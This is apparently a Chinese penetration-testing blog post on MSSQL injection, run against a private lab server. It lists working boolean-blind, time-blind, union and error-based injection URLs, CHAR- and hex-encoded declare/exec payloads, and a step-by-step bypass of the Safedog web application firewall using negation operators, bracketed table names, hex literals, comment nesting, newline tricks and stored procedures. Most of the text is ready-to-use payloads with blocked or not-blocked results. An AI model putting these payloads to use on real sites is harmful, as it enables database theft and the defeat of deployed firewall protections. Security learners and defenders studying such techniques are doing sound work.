mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗

1.注入类型

  • 布尔盲注:http://192.168.232.174/Test.aspx?id=1 and ascii(substring((select top 1 name from master..sysdatabases),1,1))>100

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第1张图片

验证如下:

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第2张图片

  • 时间盲注:http://192.168.232.174/test.aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 waitfor delay ‘0:0:5’--+

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第3张图片

验证如下:

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第4张图片

  • 联合注入:http://192.168.232.174/test.aspx?id=1 union select 1,2,3

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第5张图片

注:一般不使用 数字占位,而是null,因为数字占位可能会发生隐式转换

用法有以下几种:

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第6张图片

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第7张图片mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第8张图片

2.简单绕过注入

  • 报错注入类型语法:

                                   CAST( expression AS data_type )

                                   CONVERT(data_type[(length)], expression [, style]

http://192.168.232.174/test.aspx?id=1; select * from admin where id =1 (select CAST(USER as int))

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第9张图片

 http://192.168.232.174/test.aspx?id=1;select * from admin where id =1 (select convert(int,user))

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第10张图片

通过使用declare 函数(声明局部变量的函数),常用来绕过waf对一些关键词的拦截

declare:定义变量            set:设置变量值                     exec:执行变量

http://192.168.232.174/test.aspx/?id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第11张图片

  • 变量类型支持 hex和char类型

http://192.168.232.174/test.aspx/?id=1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第12张图片

http://192.168.232.174/test.aspx?id=1;declare @s varchar(2000) set @s= CHAR(115) + CHAR(101) + CHAR(108) + CHAR(101) + CHAR(99) + CHAR(116) + CHAR(32) + CHAR(99) + CHAR(111) + CHAR(110) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(116) + CHAR(40) + CHAR(105) + CHAR(110) + CHAR(116) + CHAR(44) + CHAR(64) + CHAR(64) + CHAR(118) + CHAR(101) + CHAR(114) + CHAR(115) + CHAR(105) + CHAR(111) + CHAR(110) + CHAR(41) exec(@s)--

在网页验证是需要将 +改为%2b,才能成功执行

http://192.168.232.174/Test.aspx?id=1;declare @a varchar(2000) set @a=CHAR(115)%2bCHAR(101)%2bCHAR(108)%2bCHAR(101)%2bCHAR(99)%2bCHAR(116)%2bCHAR(32)%2bCHAR(99)%2bCHAR(111)%2bCHAR(110)%2bCHAR(118)%2bCHAR(101)%2bCHAR(114)%2bCHAR(116)%2bCHAR(40)%2bCHAR(105)%2bCHAR(110)%2bCHAR(116)%2bCHAR(44)%2bCHAR(64)%2bCHAR(64)%2bCHAR(118)%2bCHAR(101)%2bCHAR(114)%2bCHAR(115)%2bCHAR(105)%2bCHAR(111)%2bCHAR(110)%2bCHAR(41) exec(@a)--+

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第13张图片

3.bypass安全狗

测试环境 IIS+ASPX+MSSQL+IIS安全狗4.0

  • 开启安全狗

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第14张图片     mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第15张图片mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第16张图片

  • 简单句报错

http://192.168.232.174/test.aspx?id=1 and                       不拦截

http://192.168.232.174/test.aspx?id=1 and 1                    拦截

http://192.168.232.174/test.aspx?id=1 and -1                   不拦截

http://192.168.232.174/test.aspx?id=1 and -1=-1              不拦截

http://192.168.232.174/test.aspx?id=1 and ~1                   不拦截

http://192.168.232.174/test.aspx?id=1 and ~1=1               拦截

http://192.168.232.174/test.aspx?id=1 and ~1=~1             不拦截

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第17张图片

由上述简单测试可知,安全狗对负数和布尔值不敏感。由此,我们可以根据and爆出一些基本信息如下

http://192.168.232.174/test.aspx?id=1 and @@version>~1

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第18张图片

接下来,可以利用它的这些特性爆表名

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from sysobjects where xtype='u' and name !=’name’);--   拦截

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from);--                                               不拦截

http://192.168.232.174/test.aspx?id=1  and ~1=(select top 1 name from 1);--                                            拦截

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from a);--                                             拦截

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from !);--                                              不拦截

观察上述情况可知,安全狗对于from后面字符型或者整型进行拦截,试图采取符号包裹进行绕过。

http://192.168.232.174/test.aspx?id=1 and ~1=(select top 1 name from[sysobjects]);--   成功绕过!

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第19张图片

接着往后加入where语句,继续测试

and ~1=(select top 1 name from[sysobjects] where xtype='u');--          拦截

and ~1=(select top 1 name from[sysobjects] where xtype=);--             不拦截

上述可知,可以试着采用char和hex编码编辑表名

http://192.168.232.174/test.aspx?id=1%20and ~1=(select top 1 name from[sysobjects] where xtype=0x75);--

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第20张图片

另外,爆其他的表名 测试发现也是安全狗拦截引号字符,可以用相同的方法绕过即可。

  • 联合(union)  bypass

http://192.168.232.174/test.aspx?id=1 union                         不拦截

http://192.168.232.174/test.aspx?id=1 union select               拦截

http://192.168.232.174/test.aspx?id=1 unionselect                拦截

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第21张图片

尝试注释绕过:

http://192.168.232.174/test.aspx?id=1 union/*select*/                         不拦截

http://192.168.232.174/test.aspx?id=1 union/*!select*/                        拦截

http://192.168.232.174/test.aspx?id=1 union/*!1select*/                      不拦截

尝试闭合绕过:

http://192.168.232.174/test.aspx?id=1%20union/*!1*/*select--*/     成功绕过!

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第22张图片

此时,构造payload

http://192.168.232.174/test.aspx?id=1 union/*!1*/*select null,name,null from [admin]--*/

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第23张图片

虽然成功绕过,但是语法上有报错,有兴趣可以多尝试一下,将语法错误解决。

  • 此外,还有注释+换行进行绕过

http://192.168.232.174/test.aspx?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第24张图片

  • 储存过程,万能bypass语句,里面任何代码都可以绕过安全狗

http://192.168.232.174/test.aspx?id=1--/*exec xp_create_subdir 'c:\text'-- */

mssql基础(三)——mssql注入+简单绕过注入+bypass安全狗_第25张图片

你可能感兴趣的:(渗透学习,mssql注入类型举例,bypass安全狗,mssql简单绕过,mssql注入小结)